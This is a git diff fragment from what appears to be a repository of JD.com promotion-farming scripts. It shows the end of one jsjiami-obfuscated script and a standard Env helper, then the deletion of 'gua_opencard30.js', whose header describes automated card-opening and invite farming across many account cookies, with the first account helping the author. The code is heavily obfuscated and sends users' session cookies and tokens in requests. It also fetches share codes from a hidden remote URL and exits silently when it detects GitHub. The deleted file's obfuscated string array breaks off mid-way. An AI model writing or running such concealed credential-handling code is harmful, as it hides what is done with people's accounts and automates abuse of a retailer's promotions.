_0xebdc4f={'RCkxW':_0xb4b4('40a'),'CwJQy':_0xb4b4('40b'),'pAahQ':_0xb4b4('40c'),'QRuCf':_0xb4b4('40d'),'LwjWX':_0xb4b4('1ec'),'lOukO':function(_0x1b6936,_0xc4e86f){return _0x1b6936+_0xc4e86f;},'MapcC':function(_0x44ce50,_0x4a44f3){return _0x44ce50+_0x4a44f3;},'EltMN':_0xb4b4('40e'),'BokaK':_0xb4b4('40f'),'xlYPD':_0xb4b4('410'),'VxSYy':_0xb4b4('411')};return{'url':_0xb4b4('410')+_0xf4c913,'body':_0x61a7d,'headers':{'Accept':_0xebdc4f[_0xb4b4('412')],'Accept-Language':_0xebdc4f[_0xb4b4('413')],'Accept-Encoding':_0xebdc4f[_0xb4b4('414')],'Connection':_0xebdc4f[_0xb4b4('415')],'Content-Type':_0xebdc4f[_0xb4b4('416')],'Cookie':''+activityCookie+($[_0xb4b4('5f')]&&_0xebdc4f[_0xb4b4('417')](_0xebdc4f[_0xb4b4('418')](_0xebdc4f[_0xb4b4('419')],$[_0xb4b4('5f')]),';')||'')+lz_jdpin_token,'Host':_0xebdc4f[_0xb4b4('41a')],'Origin':_0xebdc4f[_0xb4b4('41b')],'X-Requested-With':_0xebdc4f[_0xb4b4('41c')],'Referer':_0xb4b4('2ef')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'User-Agent':$['UA']},'timeout':0x7530};}async function getUA(){var _0x401ca0={'oEkCe':function(_0x1c959c,_0x3f351c){return _0x1c959c(_0x3f351c);},'ZBRWi':function(_0x3eca38,_0xb0e5bc){return _0x3eca38==_0xb0e5bc;},'oKjRM':function(_0x286f53){return _0x286f53();},'lAAdq':function(_0x19c50d,_0x101f7d){return _0x19c50d===_0x101f7d;},'fQHCZ':_0xb4b4('18d')};$['UA']=_0xb4b4('41d')+_0x401ca0[_0xb4b4('41e')](randomString,0x28)+_0xb4b4('41f');if(_0x401ca0[_0xb4b4('420')]($[_0xb4b4('3a')],0x1)){const _0xa96835=await _0x401ca0[_0xb4b4('421')](readShareCode);if(_0xa96835&&_0x401ca0[_0xb4b4('422')](_0xa96835[_0xb4b4('423')],0xc8)){console[_0xb4b4('7')](_0xb4b4('1bb'));console[_0xb4b4('7')](_0xb4b4('1bc')+(_0xa96835[_0xb4b4('10b')]&&_0xa96835[_0xb4b4('10b')][0x0]||_0x401ca0[_0xb4b4('424')]));$[_0xb4b4('2f')]=_0xa96835[_0xb4b4('10b')]&&_0xa96835[_0xb4b4('10b')][0x0]||$[_0xb4b4('2f')];}}}function readShareCode(){var _0x377937={'NPBkH':function(_0x5d782f,_0x2be022){return _0x5d782f!=_0x2be022;},'Qzked':_0xb4b4('4f'),'mgHVc':function(_0x309936,_0x37a300){return _0x309936===_0x37a300;},'JrHkq':_0xb4b4('425'),'RuDkn':_0xb4b4('426'),'qioVH':function(_0xddd2c6,_0x3be716){return _0xddd2c6!==_0x3be716;},'zfYei':_0xb4b4('427'),'QQHMm':function(_0x469fe5,_0x4159f2){return _0x469fe5(_0x4159f2);},'qwqeR':_0xb4b4('47'),'nPiOZ':function(_0x413b8b,_0x5085ca){return _0x413b8b>_0x5085ca;},'HNyUr':_0xb4b4('48'),'FMKFM':function(_0x37cbf1,_0x70ee2){return _0x37cbf1+_0x70ee2;},'HIWCD':function(_0x397bbb,_0xd20618){return _0x397bbb>_0xd20618;},'hOAnb':_0xb4b4('49'),'TWUoZ':function(_0x139e3b,_0x26237d){return _0x139e3b+_0x26237d;},'CXdgN':_0xb4b4('428'),'Bwqea':function(_0x34022e){return _0x34022e();}};return new Promise(async _0x3b642c=>{if(_0x377937[_0xb4b4('429')](_0x377937[_0xb4b4('42a')],_0x377937[_0xb4b4('42a')])){$[_0xb4b4('1d1')]({'url':_0xb4b4('42b'),'timeout':0x4e20},(_0x39156b,_0x5ed27e,_0xe16591)=>{var _0x1f10ba={'AOYYz':function(_0x120943,_0x271a00){return _0x377937[_0xb4b4('42c')](_0x120943,_0x271a00);},'Ejzhi':_0x377937[_0xb4b4('42d')]};if(_0x377937[_0xb4b4('429')](_0x377937[_0xb4b4('42e')],_0x377937[_0xb4b4('42f')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x39156b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{try{if(_0x39156b){console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x39156b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{if(_0xe16591){_0xe16591=JSON[_0xb4b4('145')](_0xe16591);}}}catch(_0x2f0aac){if(_0x377937[_0xb4b4('430')](_0x377937[_0xb4b4('431')],_0x377937[_0xb4b4('431')])){if(_0x1f10ba[_0xb4b4('432')](typeof res[_0xb4b4('3c7')],_0x1f10ba[_0xb4b4('433')]))$[_0xb4b4('5e')]=res[_0xb4b4('3c7')];}else{$[_0xb4b4('44')](_0x2f0aac,_0x5ed27e);}}finally{_0x377937[_0xb4b4('434')](_0x3b642c,_0xe16591);}}});await $[_0xb4b4('80')](0x4e20);_0x377937[_0xb4b4('435')](_0x3b642c);}else{if(_0x377937[_0xb4b4('42c')](typeof setcookies,_0x377937[_0xb4b4('436')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x24c24f of setcookie){let _0x3d01c1=_0x24c24f[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x3d01c1[_0xb4b4('6b')]('=')[0x1]){if(_0x377937[_0xb4b4('437')](_0x3d01c1[_0xb4b4('6e')](_0x377937[_0xb4b4('438')]),-0x1))LZ_TOKEN_KEY=_0x377937[_0xb4b4('439')](_0x3d01c1[_0xb4b4('71')](/ /g,''),';');if(_0x377937[_0xb4b4('43a')](_0x3d01c1[_0xb4b4('6e')](_0x377937[_0xb4b4('43b')]),-0x1))LZ_TOKEN_VALUE=_0x377937[_0xb4b4('43c')](_0x3d01c1[_0xb4b4('71')](/ /g,''),';');}}}});}function randomString(_0x291198){var _0x3a0719={'rziDa':function(_0x1e4d5b,_0x5e5d7f){return _0x1e4d5b||_0x5e5d7f;},'GIfqJ':_0xb4b4('1fe'),'UYUDG':function(_0x4b6200,_0x588a94){return _0x4b6200<_0x588a94;},'sogoH':function(_0x4dba3d,_0x252b32){return _0x4dba3d*_0x252b32;}};_0x291198=_0x3a0719[_0xb4b4('43d')](_0x291198,0x20);let _0xb7fa34=_0x3a0719[_0xb4b4('43e')],_0xb22868=_0xb7fa34[_0xb4b4('36')],_0x4fc8a3='';for(i=0x0;_0x3a0719[_0xb4b4('43f')](i,_0x291198);i++)_0x4fc8a3+=_0xb7fa34[_0xb4b4('214')](Math[_0xb4b4('215')](_0x3a0719[_0xb4b4('440')](Math[_0xb4b4('8f')](),_0xb22868)));return _0x4fc8a3;}function jsonParse(_0x11c094){var _0x2ac4da={'Rbtuw':function(_0x42b779,_0x2ab2b7){return _0x42b779(_0x2ab2b7);},'IGari':function(_0x307b5b){return _0x307b5b();},'tyIYL':function(_0x1e3f4b,_0x51d4f8){return _0x1e3f4b==_0x51d4f8;},'wBNQo':_0xb4b4('12b'),'HAmCA':function(_0x4787cc,_0x11e1b7){return _0x4787cc===_0x11e1b7;},'cqFJK':_0xb4b4('441'),'IYDpX':function(_0x38bf2a,_0x6ac74){return _0x38bf2a!==_0x6ac74;},'CXQFU':_0xb4b4('442'),'dzpEJ':_0xb4b4('14')};if(_0x2ac4da[_0xb4b4('443')](typeof _0x11c094,_0x2ac4da[_0xb4b4('444')])){if(_0x2ac4da[_0xb4b4('445')](_0x2ac4da[_0xb4b4('446')],_0x2ac4da[_0xb4b4('446')])){try{if(_0x2ac4da[_0xb4b4('447')](_0x2ac4da[_0xb4b4('448')],_0x2ac4da[_0xb4b4('448')])){_0x2ac4da[_0xb4b4('449')](resolve,data);}else{return JSON[_0xb4b4('145')](_0x11c094);}}catch(_0x9088de){console[_0xb4b4('7')](_0x9088de);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x2ac4da[_0xb4b4('44a')]);return[];}}else{_0x2ac4da[_0xb4b4('44b')](resolve);}}};_0xodz='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard30.js b/backUp/gua_opencard30.js deleted file mode 100644 index 55a5bd8..0000000 --- a/backUp/gua_opencard30.js +++ /dev/null @@ -1,54 +0,0 @@ -/* -9.13~9.27 京秋鲜礼季 [gua_opencard30.js] -新增开卡脚本 (脚本已加密 - -邀请一人10豆 被邀请5豆 (有可能没有豆 -开12张卡 每张有机会获得8京豆组(有可能有抽到空气💨 -关注获得抽奖1次 (有可能是空气💨 -加购没有豆只有抽奖1次 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku30]为"true" -抽奖 (有可能是空气💨 默认不抽奖 如需抽奖请设置环境变量[guaopencard_draw30]为"3" -填写要抽奖的次数 不足已自身次数为准 -guaopencard_draw30="3" -填非数字会全都抽奖 - -每日邀请上限5人 -ck1满5人自动换ck2 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard30="true" -———————————————— -入口:[9.13~9.27 京秋鲜礼季 (https://lzdz1-isv.isvjcloud.com/dingzhi/jdfresh/supercategory/activity?activityId=dz2109100010214101&shareUuid=6e9aaa56e925432f8e2847186be24f40)] - -============Quantumultx=============== -[task_local] -#9.13~9.27 京秋鲜礼季 -13 1 13-27 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, tag=9.13~9.27 京秋鲜礼季, enabled=true - -================Loon============== -[Script] -cron "13 1 13-27 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, tag=9.13~9.27 京秋鲜礼季 - -===============Surge================= -9.13~9.27 京秋鲜礼季 = type=cron,cronexp="13 1 13-27 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js - -============小火箭========= -9.13~9.27 京秋鲜礼季 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, cronexpr="13 1 13-27 9 *", timeout=3600, enable=true -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" -let guaopencard_draw = "0" - -const $ = new Env('9.13~9.27 京秋鲜礼季'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - -var _0xodq='jsjiami.com.v6',_0x5f52=[_0xodq,'dklPVGI=','R2xGVGM=','RlhUVFk=','V2dVQVI=','aE9UUFU=','dlVPTlo=','QVNHUHA=','VU9XTUs=','SUhMQkw=','QWxEeUw=','eEJnUHY=','a3pzWU8=','UGRBaWQ=','Ukx6VlA=','bXJDdEM=','TUNZbG8=','YVFiS2c=','c2VXT20=','Z1laQUY=','NHwyfDV8MHwxfDM=','REFISmw=','a2RYdUE=','VHhRcEI=','a0VoZmQ=','VWtGa0Q=','bHpfamRwaW5fdG9rZW49','aFB5RkI=','Q0lhVW0=','YWN6Z2I=','V3NTUmY=','V3ZGeVo=','U1ZzV3Q=','L2N1c3RvbWVyL2dldE15UGluZw==','eHBrRVY=','TlprWHc=','U2FCR2k=','QVFFYlQ=','RE9YTFE=','bUJUeGQ=','enpNUHA=','Rm5EZGs=','emp6eFQ=','YmZhR2E=','aWlnT2Q=','WFBBS20=','dWlOVEw=','c0lIaXQ=','d1hHcXg=','UEptZ3o=','Q0xNQ3g=','UmtLTHU=','RkdseWo=','T3dER08=','d2hMaGw=','WmFoTWY=','SHdaRHM=','dW1OQXQ=','RUJWSnk=','UXVGRWs=','dlFhZWk=','aWtlS1E=','Y3BDVWI=','S0hJUWk=','WVlka2M=','eUFlUGI=','aFdWam8=','b05YSGU=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','enBRQVQ=','V2VQTWI=','Y1ZpQVA=','cUdNUEI=','blR4c00=','WWprZmo=','UXp2Snk=','aEtXd1I=','UWxPb0Y=','TkVucmM=','T2Vkdm0=','c2xKZ3Y=','VlF1R3c=','YmN0R0s=','RmdQVHo=','aklmUnI=','ck9QRUE=','bW53cXY=','cHR5aG0=','VGRvRmw=','d1laZFM=','S0hVaXE=','aWFtSlI=','THBnRGo=','WHR3U1Q=','Y0pRenM=','ZlJtcHI=','bFhJdVI=','aVpyd2Y=','U2drYWc=','VFhYclY=','alJ1YVk=','bGtGZGg=','VElOaHI=','dnB2Snk=','dHpHQkc=','bHdRQW0=','cHpXaWE=','cklzWmg=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','S1hKeXc=','ZU5oekU=','bGpGTm4=','eUVyZmk=','dXBqQ1E=','TkNDeWk=','enp4aWg=','Z29DUEI=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','cVBtWmY=','S21qQXk=','ZXpBa3E=','YldBdng=','UGl2QWM=','ak5EaG4=','VGFBYnI=','YVR1Wkg=','d05iSGM=','U255Qnc=','QlRoakU=','QWhCdnY=','cW12Y1U=','QU1ZVGQ=','RHhRa1g=','Qkp1Y2c=','Y3pCUmY=','cGtjbEk=','YnJ5UkE=','WENOSFY=','Ym5HRXI=','QVFEcmg=','QmZjSk0=','VEtTQ1Q=','Qnhqb2o=','bUtzVW4=','emVjUFc=','V3lRbHM=','VkJwR0U=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','bFRwR00=','dXhmaUQ=','WmJ4eU8=','eHNMVVM=','Z0pOR24=','UlljTW4=','VW56bXk=','bU5iRms=','TmJLb0I=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','TGxqZE4=','aXRxSFE=','SHBpbmY=','eUtZY1g=','c0xlZ3E=','Q3dWdGI=','R3FodmI=','WVdlV3o=','enNlWEg=','ak9pZUw=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU3JTJDMiZlaWQ9ZWlkSTEzMjU4MTIyZGJzM3N6akVRa0lWUnVpY09EcS9ETlNzQkxNNHhiZUk3TE5yTmY4enZDdHU5NDh2blFIU2VCYWVNbXR1SE52Qm1hNUYxVm9xWGZGTUxxRXRBc3pvRkpYZUM2MzJ3bWltWk8ySGRMazMmaXNCYWNrZ3JvdW5kPU4mam95Y2lvdXM9NjEmbGFuZz16aF9DTiZuZXR3b3JrVHlwZT13aWZpJm5ldHdvcmtsaWJ0eXBlPUpETmV0d29ya0Jhc2VBRiZvcGVudWRpZD0xZWI5MDZhMzI5NDA3NTJiNTA5Nzk1OWI4N2JmNzc5MGNmNzJkZDA1Jm9zVmVyc2lvbj0xMi40JnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2NvcGU9MDEmc2NyZWVuPTc1MCUyQTEzMzQmc2lnbj0zOTBmZDQ4NmMxMzNjMWY2MTY3YTlmZGY2N2I4ODMzMiZzdD0xNjMwODk5ODk2MjY0JnN2PTEyMCZ1ZW1wcz0wLTAmdXRzPTBmMzFUVlJqQlNzcW5kdTQvamdVUHo2dXlteTUwTVFKbjNEcEQ5VzBTYzhPMUF5UDNQVktyV1c2T1ZibDNRQWN2Y3FxNzdQSWtUREZFUkhSM1BWVTgwY2tqMTd4RW56V1BqOHhTckR1L0wwYzUwUXRNL2dpWWZLR1JLeXBWalNneDV6WHh3UjlpTUg5WnRHTVBTWmdlaXRiMzRZJTJCYUI4T2padTR6SkVMSzd3T2hNT1hGa25pVDI0a3NoaXFGWGV6Z0RwQTU0c3VXVjBSRGNwTmdPV3MzQSUzRCUzRCZ1dWlkPWhqdWR3Z29oeHpWdTk2a3J2L1Q2SGclM0QlM0Qmd2lmaUJzc2lkPTc5NjYwNmU4ZTE4MWFhNTg2NWVjMjA3MjhhMjcyMzhi','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','RGNVZlQ=','V0lZc0U=','a0xZUnQ=','SkQ0aVBob25lLzE2NzgwMiAoaVBob25lOyBpT1MgMTIuNDsgU2NhbGUvMi4wMCk=','dXRCWE4=','cG15SWg=','WndFdXM=','V0VvaXU=','RUNBb2E=','SHBXQWY=','TWJ0RFY=','dEFYaHI=','RFJGdWI=','eUVUSWE=','Q3pHa3M=','TmJkeGo=','R01peGI=','VUhqaUs=','S3hwa0w=','aENtakQ=','YnVMcmQ=','bUtlR2Q=','SWhURFU=','YUZ4Z0Q=','VkZBd2k=','TXRkaGM=','YndLU1E=','QmJVcmQ=','V0hFeWk=','blB4a0w=','U0xLZXU=','anN1Ulg=','Qml3Q08=','ZUtwREg=','RWpUeUc=','ZlJPdUI=','Qk1CQ00=','R0xqalc=','RlJoS2k=','RGhqT3g=','V2JPaGk=','cXlRQmE=','bEN6d1Y=','Wk9QYU0=','T1hZUng=','SFVUVkg=','enByVGc=','R3dpbXY=','UmNab1E=','RW1WVmQ=','anRtcEY=','ZHB3SEY=','Z3JTZVo=','amRhcHA7aVBob25lOzEwLjEuMDsxNC4zOw==','VnZBeUs=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmUxMiwxO2FkZHJlc3NpZC80MTk5MTc1MTkzO2FwcEJ1aWxkLzE2Nzc3NDtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfMyBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNUUxNDg7c3VwcG9ydEpEU0hXSy8x','RERYSGc=','ZXFobU8=','eG5HQmw=','ZUNVU0k=','V1Bua2w=','c3NHc2M=','b2p3VmU=','Q1dYV0I=','eVVmQlc=','eGxia3o=','QWZUdG8=','T3lHTUQ=','cE9MQno=','dHRlcUo=','U3VoYWo=','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3Vhb3BlbmNhcmRfYWRkU2t1MzA=','Z3Vhb3BlbmNhcmRfYWRkU2t1X0FsbA==','Z3Vhb3BlbmNhcmQzMA==','Z3Vhb3BlbmNhcmRfQWxs','Z3Vhb3BlbmNhcmRfZHJhdzMw','Z3Vhb3BlbmNhcmRfZHJhdw==','b3V0RmxhZw==','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','dHJ1ZQ==','d0d5aE8=','5aaC6ZyA5omn6KGM6ISa5pys6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkMzBd5Li6InRydWUi','NmU5YWFhNTZlOTI1NDMyZjhlMjg0NzE4NmJlMjRmNDA=','ZHoyMTA5MTAwMDEwMjE0MTAx','VlBWRFE=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','bXNn','bmFtZQ==','VWhjcmE=','a3dnZVQ=','eVRCa0Q=','RGNkV1M=','aXVWcEE=','TkpSanY=','SEpNSUU=','cGFyc2U=','Z0xIVHA=','ZElsV0U=','cFVYaEE=','Y0hraWc=','c2hhcmVVdWlkQXJy','c2hhcmVVdWlk','cE9ycGk=','YWN0aXZpdHlJZA==','WWR5ZkU=','5YWl5Y+jOgpodHRwczovL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tL2Rpbmd6aGkvamRmcmVzaC9zdXBlcmNhdGVnb3J5L2FjdGl2aXR5P2FjdGl2aXR5SWQ9','JnNoYXJlVXVpZD0=','VlhRek8=','bGVuZ3Ro','VXNlck5hbWU=','VFBLbGE=','bWF0Y2g=','aW5kZXg=','UkZFUmE=','TmVacXg=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','Qm1NTHI=','UmJqWmc=','YWN0b3JVdWlk','Q3hNRXM=','Y2VKS04=','c3RhdHVzQ29kZQ==','U1pSb3E=','am1Eamw=','dG9TdHI='